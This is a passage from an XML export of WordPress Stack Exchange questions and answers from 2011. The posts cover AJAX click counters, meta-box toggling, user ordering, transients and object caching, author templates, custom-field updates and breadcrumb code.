post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'wp_head', 'wpse26789_head' );&#xA;function wpse26789_head()&#xA;{&#xA;    if( ! is_singular() ) return;&#xA;    $post_id = get_queried_object_id();&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        var wpse26789_data = {&#xA;            action: 'wpse26789_action',&#xA;            post_id: '&amp;lt;?php echo absint( $post_id ); ?&amp;gt;',&#xA;            nonce: '&amp;lt;?php echo wp_create_nonce( 'wpse26789_nonce' ); ?&amp;gt;',&#xA;        }&#xA;        jQuery(document).ready(function(){&#xA;            jQuery( '#wpse26789_click' ).click(function(){&#xA;                jQuery.get( &#xA;                    '&amp;lt;?php echo site_url( 'wp-admin/admin-ajax.php' ); ?&amp;gt;', &#xA;                    wpse26789_data, &#xA;                    function( data ){&#xA;                        if( '-1' != data )&#xA;                        {&#xA;                            jQuery( 'span#wpse26789_count' ).html( data );&#xA;                            alert( 'Your Message!' );&#xA;                        }&#xA;                    }&#xA;                );&#xA;            });&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a plugin: &lt;a href=&quot;http://pastie.org/2423993&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/2423993&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-24T19:26:21.927" CommentCount="2" />
  <row Id="26802" PostTypeId="1" CreationDate="2011-08-24T19:28:12.597" Score="0" ViewCount="13" Body="&lt;p&gt;I have a meta box (Classes Taught) with a checklist of options: Private, Group, Telephone, Skype&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.imgur.com/BQ8CN.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/BQ8CN.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of those options are checked, another corresponding meta box will appear (Private Classes, Group Classes, Telephone Classes, Skype Classes), using Drew Gourley's code here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14707/post-formats-how-to-switch-meta-boxes-when-changing-format&quot;&gt;post formats - how to switch meta boxes when changing format?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I have grouped the Private Classes, Group Classes, Telephone Classes, Skype Classes meta boxes together in a container div (Class Details) as detailed in mike23's answer here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21275/how-to-group-meta-boxes-on-the-post-edit-page&quot;&gt;How to group meta boxes on the post edit page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.imgur.com/6uhnI.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/6uhnI.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great except that if no option is checked in the Classes Taught meta box, the Class Details container div is displayed with nothing inside. I'd like to have the Class Details container div show only when any one of the Classes Taught options is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// show or hide metaboxes based on what checkbox selection is made&#xA;function hide_classes_info() {&#xA;    if ( is_admin() ) {&#xA;        $script = '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            jQuery(document).ready(function($)&#xA;                {&#xA;                    $(&quot;#private_classes_info&quot;).hide();&#xA;                    $(&quot;#rw_classestaught-private&quot;).is(&quot;:checked&quot;) ? $(&quot;#private_classes_info&quot;).show() : $(&quot;#private_classes_info&quot;).hide();&#xA;                    $(&quot;#rw_classestaught-private&quot;).click(function() {&#xA;                        $(&quot;#private_classes_info&quot;).toggle(this.checked);&#xA;                    });&#xA;                });&#xA;        jQuery(document).ready(function($)&#xA;            {&#xA;                $(&quot;#group_classes_info&quot;).hide();&#xA;                $(&quot;#rw_classestaught-group&quot;).is(&quot;:checked&quot;) ? $(&quot;#group_classes_info&quot;).show() : $(&quot;#group_classes_info&quot;).hide();&#xA;                $(&quot;#rw_classestaught-group&quot;).click(function() {&#xA;                    $(&quot;#group_classes_info&quot;).toggle(this.checked);&#xA;                });&#xA;            });&#xA;        jQuery(document).ready(function($)&#xA;            {&#xA;                $(&quot;#telephone_classes_info&quot;).hide();&#xA;                $(&quot;#rw_classestaught-telephone&quot;).is(&quot;:checked&quot;) ? $(&quot;#telephone_classes_info&quot;).show() : $(&quot;#telephone_classes_info&quot;).hide();&#xA;                $(&quot;#rw_classestaught-telephone&quot;).click(function() {&#xA;                    $(&quot;#telephone_classes_info&quot;).toggle(this.checked);&#xA;                });&#xA;            });&#xA;            jQuery(document).ready(function($)&#xA;                {&#xA;                    $(&quot;#skype_classes_info&quot;).hide();&#xA;                    $(&quot;#rw_classestaught-skype&quot;).is(&quot;:checked&quot;) ? $(&quot;#telephone_classes_info&quot;).show() : $(&quot;#skype_classes_info&quot;).hide();&#xA;                    $(&quot;#rw_classestaught-skype&quot;).click(function() {&#xA;                        $(&quot;#skype_classes_info&quot;).toggle(this.checked);&#xA;                    });&#xA;                });&#xA;        &amp;lt;/script&amp;gt;';&#xA;&#xA;        echo $script;&#xA;    }&#xA;}&#xA;add_action('admin_footer', 'hide_classes_info');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7408" LastActivityDate="2011-08-24T19:28:12.597" Title="show/hide meta box and the container of multiple meta boxes" Tags="&lt;jquery&gt;&lt;metabox&gt;" />
  <row Id="26803" PostTypeId="1" CreationDate="2011-08-24T19:29:05.783" Score="0" ViewCount="30" Body="&lt;p&gt;I'm trying to get a list of users to be displayed in a user defined order on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a custom field team_display which the user can define with a list of comma separated names (ex: John Doe, Jane Doe, Bob Smith). I can use php explode() to get them into an array. How do I take these names and search for them using WordPress functions like get_users() and then display their meta information in that order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent a hours on this, but can't seem to figure it out. Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit to further clarify:&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have profile listing page setup like so &lt;a href=&quot;http://imm.io/8szu&quot; rel=&quot;nofollow&quot;&gt;http://imm.io/8szu&lt;/a&gt;. The info is populated from the user meta data of actual WordPress user accounts. I just want to be able to list them in a user defined order: Brian, then Bob, then Joe, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a custom field *team_display* on the page holding the string &quot;Brian, Bob, Joe&quot;. How can I then use that to display those users in that order. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5573" LastEditorUserId="5573" LastEditorDisplayName="" LastEditDate="2011-08-25T06:14:53.170" LastActivityDate="2011-08-25T06:14:53.170" Title="How can I retrieve a list of users in a defined order?" Tags="&lt;users&gt;&lt;get-users&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="26804" PostTypeId="2" ParentId="26796" CreationDate="2011-08-24T19:59:07.080" Score="2" ViewCount="" Body="&lt;p&gt;When and how to use transients or the object cache is a bit tricky and site-dependent. Here's the breakdown:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When not using a persistent object cache (like memcached):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transients are stored in the database&lt;/li&gt;&#xA;&lt;li&gt;Objects in the object cache are only cached for the duration of the page request.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When using a persistent object cache (like memcached):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transients are stored in the object cache&lt;/li&gt;&#xA;&lt;li&gt;Objects in the object cache are cached in the persistent object cache and thus available across page requests.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So yes, transients can make things faster if you're using memcached. However, if you know you're using memcached to begin with, you could just use the object cache directly instead of mucking with a transient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The right time to use these is thus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For publicly released code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a transient when you have to store anything that takes a while to generate/retrieve and which can be re-generated or re-retrieved when the transient expires. Because this may be stored in the database, don't use it for stuff that you already have to get from the database anyway. You save very little time, even if the query is a big one with a bunch of joins and such. Rely on the database's intelligence for this. Optimize the query instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the object cache to store the individual results (like, posts, or users) of large queries that might be needed often, perhaps even during the same page run.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If this is custom code for a custom site that you have (custom) control over and you &lt;em&gt;know&lt;/em&gt; it's using memcached, then transients and the object cache basically are the same thing, with slightly different interfaces. So you don't really need to use transients at all, per se. wp_cache_set and wp_cache_get work quite nicely in such a situation, and without the minor amount of overhead transients add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For multi-site, the object cache has the advantage of having &quot;global groups&quot;, which are specific groups (third parameter to wp_cache_set) which are considered to be global across the network of sites. You can add groups to the global grouping with wp_cache_add_global_groups().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, users are globally grouped in multi-site, because the users table is shared anyway. So this offers performance speedups because users loaded on one site will be put into the persistent object cache, keyed by user id, and available to all the other sites on the system in the memory cache immediately. They're global, in other words. This can offer significant performance increases and prevent you from having to switch_to_blog a lot if you want network-wide data. For example, a most-recent-post plugin could store the latest post in the object cache with a global grouping, and then every site on the network would instantly know about it without having to search, because they're pulling the information from the shared memory cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: How you do things depends heavily on your specific use case and whether or not you're planning on making the code available to the general public, who may not share your specific setup.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-24T19:59:07.080" CommentCount="1" />
  <row Id="26805" PostTypeId="2" ParentId="26794" CreationDate="2011-08-24T20:01:36.253" Score="1" ViewCount="" Body="&lt;p&gt;This workaround solved the problem for me, but I feel a little dirty. I think Chip's on the money with the fact that when we populate the post globals with the_post(), it's only taking into consideration actual 'posts', hence the $authordata global is not getting populated (heck, NOTHING is getting populated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely (or not, I suppose if you truly grock the deep internals, which I do not yet) get_queried_object() returns the exact same structure as $authordata. So the following snippet, inserted in &lt;code&gt;authors.php&lt;/code&gt; accomplishes what I hoped for. Obviously this only works as expected on an authors archive template page, otherwise get_queried_object() will return some other structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  the_post(); // Attempt to populate post globals (works if this author has regular posts)&#xA;&#xA;  global $authordata;&#xA;  if ( !is_object( $authordata ) ) $authordata = get_queried_object(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I think about this more, it seems that the default method for populating the author data is actually flawed. It gets a list of the authors' posts and based on the first post in the list, (re)populates the author data. I'm not going to say that my approach is better, or even good, but I like the idea of treating the author object as the primary queried object on this page, rather than just an adjunct to a post that happens to surface on this page because of a circular relationship with the queried term.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-24T20:01:36.253" CommentCount="1" />
  <row Id="26806" PostTypeId="1" AcceptedAnswerId="26807" CreationDate="2011-08-24T20:01:41.070" Score="0" ViewCount="23" Body="&lt;p&gt;I'm using the plugin &lt;code&gt;Wordpress User Frontend&lt;/code&gt; and editing the title and content of a post is nice (I managed to change it so I can edit custom post types), but there's no support for editing custom fields.  So I have the following code below (not sure if it's too long to have to put on pastebin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpuf_validate_post_edit_submit() {&#xA;    global $userdata;&#xA;&#xA;    $errors = array();&#xA;&#xA;    $title      = trim($_POST['wpuf_post_title']);&#xA;    $content    = trim($_POST['wpuf_post_content']);&#xA;    $tags       = wpuf_clean_tags($_POST['wpuf_post_tags']);&#xA;    $cat        = trim($_POST['cat']);&#xA;    $post_location  = trim($_POST['wpuf_post_location']);&#xA;    echo $post_location;&#xA;&#xA;    if (empty($title)) {&#xA;        $errors[] = &quot;Empty post title&quot;;&#xA;    } else {&#xA;        $title = trim(strip_tags($title));&#xA;    }&#xA;&#xA;    if (empty($content)) {&#xA;        $errors[] = &quot;Empty post content&quot;;&#xA;    } else {&#xA;        $content = trim($content);&#xA;    }&#xA;&#xA;    if (!empty($tags)) {&#xA;        $tags = explode(',', $tags);&#xA;    }&#xA;&#xA;    if (!$errors) {&#xA;        $post_update = array(&#xA;                'ID'            =&amp;gt; trim($_POST['post_id']),&#xA;                'post_title'    =&amp;gt; $title,&#xA;                'post_content'  =&amp;gt; $content,&#xA;                'post_category' =&amp;gt; array($cat),&#xA;                'tags_input'    =&amp;gt; $tags&#xA;        );&#xA;        $post_cf = update_post_meta($post-&amp;gt;ID,'location',$post_location);&#xA;        $post_id = wp_update_post($post_update);&#xA;        //var_dump($post_update);&#xA;&#xA;        if ($post_id &amp;amp;&amp;amp; $post_cf) {&#xA;            echo '&amp;lt;div class=&quot;success&quot;&amp;gt;Post updated succesfully.&amp;lt;/div&amp;gt;';&#xA;        }&#xA;&#xA;    } else {&#xA;        echo wpuf_error_msg($errors);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$post_cf&lt;/code&gt; should update the location field that is grabbed from the top of the code (&lt;code&gt;$post_location&lt;/code&gt;).  Upon echoing the field, it echo's the updated field, but when saving the post (&lt;code&gt;$post_id&lt;/code&gt;?) and refreshing the page, the custom field stays the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what's going on?  I've been at this for over an hour now.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-24T21:23:27.567" LastActivityDate="2011-08-24T21:23:27.567" Title="Wordpress User Frontend Editing Custom Fields" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;php&gt;&lt;front-end&gt;&lt;update-post-meta&gt;" AnswerCount="1" />
  <row Id="26807" PostTypeId="2" ParentId="26806" CreationDate="2011-08-24T20:10:04.460" Score="0" ViewCount="" Body="&lt;p&gt;this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_cf = update_post_meta($post-&amp;gt;ID,'location',$post_location);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; isn't set in this context, you want to pass &lt;code&gt;$_POST['post_id']&lt;/code&gt; I assume.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-24T20:10:04.460" CommentCount="1" />
  <row Id="26808" PostTypeId="1" AcceptedAnswerId="26810" CreationDate="2011-08-24T20:12:50.403" Score="2" ViewCount="28" Body="&lt;p&gt;It's really strange, but I've noticed that as I'm writing and publishing posts, the ids aren't incrementing by one, but rather by some arbitrary amount which I think is relative to the amount of times I hit preview. It's kind of annoying to have ids like 1, 11, 29, 37, etc. Is there a way to ensure that posts only increment by one? &lt;/p&gt;&#xA;" OwnerUserId="5550" LastActivityDate="2011-08-24T20:33:19.730" Title="Post ids are incrementing by an unknown number?" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="26809" PostTypeId="1" CreationDate="2011-08-24T20:27:24.043" Score="0" ViewCount="15" Body="&lt;p&gt;This should be simple, and yet everything I'm trying blows the blog up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to specify an image variable in a custom field (that works great) but if that's not specified, don't include the image code. It's creating a image missing error in some browsers (IE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Bob&lt;/p&gt;&#xA;" OwnerUserId="8154" LastActivityDate="2011-08-24T20:50:44.887" Title="If the image variable is specified, show image, if not no code" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="26810" PostTypeId="2" ParentId="26808" CreationDate="2011-08-24T20:33:19.730" Score="3" ViewCount="" Body="&lt;p&gt;Every revision or auto-draft that's saved is added to the database and given its own auto-incremented ID. So in theory, you could turn off post revisions ( adding the line &lt;code&gt;define('WP_POST_REVISIONS', false);&lt;/code&gt; to your &lt;strong&gt;wp-config.php&lt;/strong&gt;), and be very careful to write your posts in exactly the order you want your IDs to follow, and you'd get sequentially ordered posts. &lt;em&gt;(&lt;strong&gt;Maybe&lt;/strong&gt;, that is - I've never tried, and I think there may still be an autodraft created on first visiting the post-new.php screen, so it could be that the best you can do is make sure your post IDs increment by twos.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a sure recipe for obsessive-compulsive disorder, though. A post ID is just a database key, no more or less, and it shouldn't have any special meaning to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need or want your posts to be represented by integers in some kind of logical descriptive order, there are other ways of doing that. Here's an answer I gave to another similar question that demonstrates a way of using post meta to sequentially number posts: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13083/display-post-number-not-post-id-number&quot;&gt;Display post number not post ID number&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-24T20:33:19.730" CommentCount="3" />
  <row Id="26811" PostTypeId="2" ParentId="26809" CreationDate="2011-08-24T20:50:44.887" Score="2" ViewCount="" Body="&lt;p&gt;you just have to check if it exists &lt;em&gt;before&lt;/em&gt; outputting any markup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$postimage = get_post_meta($post-&amp;gt;ID, 'postimage', true);&#xA;if($postimage):&#xA;?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo $postimage; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-24T20:50:44.887" CommentCount="1" />
  <row Id="26812" PostTypeId="1" CreationDate="2011-08-24T20:53:09.127" Score="0" ViewCount="39" Body="&lt;p&gt;I'm trying to list just the first taxonomy term outside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working fine but it lists all terms, and I just need the first - any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $taxonomy = 'taxonomy-name-here';&#xA;    $queried_term = get_query_var($taxonomy);&#xA;&#xA;    $terms = get_terms($taxonomy, 'slug='.$queried_term);&#xA;    if ($terms) {&#xA;      foreach($terms as $term) {&#xA;    echo ' ' . $term-&amp;gt;name . ' ';&#xA;      }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;clarification: the above seems to be returning all categories within the taxonomy, I'm only looking to get the taxonomy category of the current page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;I found a simple answer!:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories= wp_get_object_terms($post-&amp;gt;ID, 'taxonomy-name');&#xA;echo $categories[0]-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2837" LastEditorUserId="2837" LastEditorDisplayName="" LastEditDate="2011-08-25T16:40:28.043" LastActivityDate="2011-08-25T16:40:28.043" Title="Return single taxonomy term outside the loop" Tags="&lt;taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26813" PostTypeId="2" ParentId="26794" CreationDate="2011-08-24T20:58:44.950" Score="0" ViewCount="" Body="&lt;p&gt;I had to do this recently on a site without &quot;posts&quot;, that still needed author pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you catch author pages at the &lt;code&gt;template_redirect&lt;/code&gt; hook, make sure to unset the 404 flag, and include the author template. You can extend the logic within the template redirect test as necessary. What you then do in the author.php template is up to you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Force author views to use author.php, rather than default to 404 pages &#xA;    if there are no posts to show. */&#xA;add_action( 'template_redirect', 'author_page_template' );&#xA;&#xA;function author_page_template() {&#xA;&#xA;    // Note: you probably also want to check if the author exists...&#xA;    if ( is_author() ) {&#xA;        global $wp_query;&#xA;        $wp_query-&amp;gt;set( 'is_404', false );&#xA;        include( get_stylesheet_directory().'/author.php' );&#xA;        exit;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-24T20:58:44.950" CommentCount="1" />
  <row Id="26814" PostTypeId="2" ParentId="26812" CreationDate="2011-08-24T21:05:45.480" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$taxonomy = 'taxonomy-name-here';&#xA;$queried_term = get_query_var($taxonomy);&#xA;$term = get_term_by( 'slug', $queried_term, $taxonomy );&#xA;echo $term-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-24T21:05:45.480" CommentCount="10" />
  <row Id="26815" PostTypeId="1" CreationDate="2011-08-24T21:11:22.917" Score="0" ViewCount="29" Body="&lt;p&gt;I am currently in the process of starting my first blog. Currently, I am stumped. I have  a homepage slider that refuses to work with me. The documentation for the theme I am currently using is located &lt;a href=&quot;http://wordpress.site5.net/boldy/doc/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The problem I'm having is I can't figure out how or what the slider decides to use as an image and then the caption in the slider and how to add more to the slider. I would like it to be a the larger picture 970x360 or something like that with the caption beneath it with 3 or more pages to slide through, not have the description overlayed on it. I've gone into the theme option and messed around to no avail. I'm am lost as to where to go from here. For the visuals on the issues please see my &lt;a href=&quot;http://konecny.dyndns.biz/blog&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7893" LastActivityDate="2011-08-25T13:07:00.057" Title="Homepage slider not using correct images" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="26816" PostTypeId="2" ParentId="9834" CreationDate="2011-08-24T21:12:28.997" Score="0" ViewCount="" Body="&lt;p&gt;Replace the&lt;/p&gt;&#xA;&#xA;&lt;p&gt;foreach ($childPosts as $cp) : setup_postdata($cp);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;foreach ($childPosts as $post) : setup_postdata($post);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to use the exact $post variable along with the setup_postdata()&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2011-08-24T21:12:28.997" />
  <row Id="26817" PostTypeId="1" AcceptedAnswerId="26828" CreationDate="2011-08-24T21:37:37.777" Score="0" ViewCount="27" Body="&lt;p&gt;Link: &lt;a href=&quot;http://themeforward.com/demo2/2011/01/02/centered-and-captioned-image-longer-title/&quot; rel=&quot;nofollow&quot;&gt;http://themeforward.com/demo2/2011/01/02/centered-and-captioned-image-longer-title/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this about 8 times and need some help.  For the bread crumbs (navigation trail on the top of the page) I would like to add a span class only to the  »'s that appear.  If somebody could add this in the function below I would really appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//////////////////////////////////////// Breadcrumbs&#xA;function dimox_breadcrumbs() {&#xA;  $delimiter = '&amp;amp;raquo;';&#xA;  $home = 'Home'; // text for the 'Home' link&#xA;  $before = '&amp;lt;span class=&quot;current&quot;&amp;gt;'; // tag before the current crumb&#xA;  $after = '&amp;lt;/span&amp;gt;'; // tag after the current crumb&#xA;  if ( !is_home() &amp;amp;&amp;amp; !is_front_page() || is_paged() ) {&#xA;     echo '&amp;lt;div id=&quot;crumbs&quot;&amp;gt;'; &#xA;    global $post;&#xA;    $homeLink = get_bloginfo('url');&#xA;    echo '&amp;lt;a href=&quot;' . $homeLink . '&quot;&amp;gt;' . $home . '&amp;lt;/a&amp;gt; ' . $delimiter . ' ';&#xA;    if ( is_category() ) {&#xA;      global $wp_query;&#xA;      $cat_obj = $wp_query-&amp;gt;get_queried_object();&#xA;      $thisCat = $cat_obj-&amp;gt;term_id;&#xA;      $thisCat = get_category($thisCat);&#xA;      $parentCat = get_category($thisCat-&amp;gt;parent);&#xA;      if ($thisCat-&amp;gt;parent != 0) echo(get_category_parents($parentCat, TRUE, ' ' . $delimiter . ' '));&#xA;      echo $before . 'Archive by category &quot;' . single_cat_title('', false) . '&quot;' . $after;&#xA;    } elseif ( is_day() ) {&#xA;      echo '&amp;lt;a href=&quot;' . get_year_link(get_the_time('Y')) . '&quot;&amp;gt;' . get_the_time('Y') . '&amp;lt;/a&amp;gt; ' . $delimiter . ' ';&#xA;      echo '&amp;lt;a href=&quot;' . get_month_link(get_the_time('Y'),get_the_time('m')) . '&quot;&amp;gt;' . get_the_time('F') . '&amp;lt;/a&amp;gt; ' . $delimiter . ' ';&#xA;      echo $before . get_the_time('d') . $after;&#xA;    } elseif ( is_month() ) {&#xA;      echo '&amp;lt;a href=&quot;' . get_year_link(get_the_time('Y')) . '&quot;&amp;gt;' . get_the_time('Y') . '&amp;lt;/a&amp;gt; ' . $delimiter . ' ';&#xA;      echo $before . get_the_time('F') . $after;&#xA;    } elseif ( is_year() ) {&#xA;      echo $before . get_the_time('Y') . $after;&#xA;    } elseif ( is_single() &amp;amp;&amp;amp; !is_attachment() ) {&#xA;      if ( get_post_type() != 'post' ) {&#xA;        $post_type = get_post_type_object(get_post_type());&#xA;        $slug = $post_type-&amp;gt;rewrite;&#xA;        echo '&amp;lt;a href=&quot;' . $homeLink . '/' . $slug['slug'] . '/&quot;&amp;gt;' . $post_type-&amp;gt;labels-&amp;gt;singular_name . '&amp;lt;/a&amp;gt; ' . $delimiter . ' ';&#xA;        echo $before . get_the_title() . $after;&#xA;      } else {&#xA;        $cat = get_the_category(); $cat = $cat[0];&#xA;        echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');&#xA;        echo $before . get_the_title() . $after;&#xA;      }&#xA;&#xA;    } elseif ( !is_single() &amp;amp;&amp;amp; !is_page() &amp;amp;&amp;amp; get_post_type() != 'post' &amp;amp;&amp;amp; !is_404() ) {&#xA;      $post_type = get_post_type_object(get_post_type());&#xA;      echo $before . $post_type-&amp;gt;labels-&amp;gt;singular_name . $after;&#xA;&#xA;    } elseif ( is_attachment() ) {&#xA;      $parent = get_post($post-&amp;gt;post_parent);&#xA;      $cat = get_the_category($parent-&amp;gt;ID); $cat = $cat[0];&#xA;      echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');&#xA;      echo '&amp;lt;a href=&quot;' . get_permalink($parent) . '&quot;&amp;gt;' . $parent-&amp;gt;post_title . '&amp;lt;/a&amp;gt; ' . $delimiter . ' ';&#xA;      echo $before . get_the_title() . $after;&#xA;&#xA;    } elseif ( is_page() &amp;amp;&amp;amp; !$post-&amp;gt;post_parent ) {&#xA;      echo $before . get_the_title() . $after;&#xA;&#xA;    } elseif ( is_page() &amp;amp;&amp;amp; $post-&amp;gt;post_parent ) {&#xA;      $parent_id  = $post-&amp;gt;post_parent;&#xA;      $breadcrumbs = array();&#xA;      while ($parent_id) {&#xA;        $page = get_page($parent_id);&#xA;        $breadcrumbs[] = '&amp;lt;a href=&quot;' . get_permalink($page-&amp;gt;ID) . '&quot;&amp;gt;' . get_the_title($page-&amp;gt;ID) . '&amp;lt;/a&amp;gt;';&#xA;        $parent_id  = $page-&amp;gt;post_parent;&#xA;      }&#xA;      $breadcrumbs = array_reverse($breadcrumbs);&#xA;      foreach ($breadcrumbs as $crumb) echo $crumb . ' ' . $delimiter . ' ';&#xA;      echo $before . get_the_title() . $after;&#xA;&#xA;    } elseif ( is_search() ) {&#xA;      echo $before . 'Search results for &quot;' . get_search_query() . '&quot;' . $after;&#xA;&#xA;    } elseif ( is_tag() ) {&#xA;      echo $before . 'Posts tagged &quot;' . single_tag_title('', false) . '&quot;' . $after;&#xA;&#xA;    } elseif ( is_author() ) {&#xA;       global $author;&#xA;      $userdata = get_userdata($author);&#xA;      echo $before . 'Articles posted by ' . $userdata-&amp;gt;display_name . $after;&#xA;&#xA;    } elseif ( is_404() ) {&#xA;      echo $before . 'Error 404' . $after;&#xA;    }&#xA;&#xA;    if ( get_query_var('paged') ) {&#xA;      if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';&#xA;      echo __('Page') . ' ' . get_query_var('paged');&#xA;      if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';&#xA;    }&#xA;&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;  }&#xA;} // end dimox_breadcrumbs()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5205" LastEditorUserId="5205" LastEditorDisplayName="" LastEditDate="2011-08-24T22:48:01.797" LastActivityDate="2011-08-24T23:05:38.537" Title="Adding a Span Class in a Function" Tags="&lt;breadcrumb&gt;" AnswerCount="1" 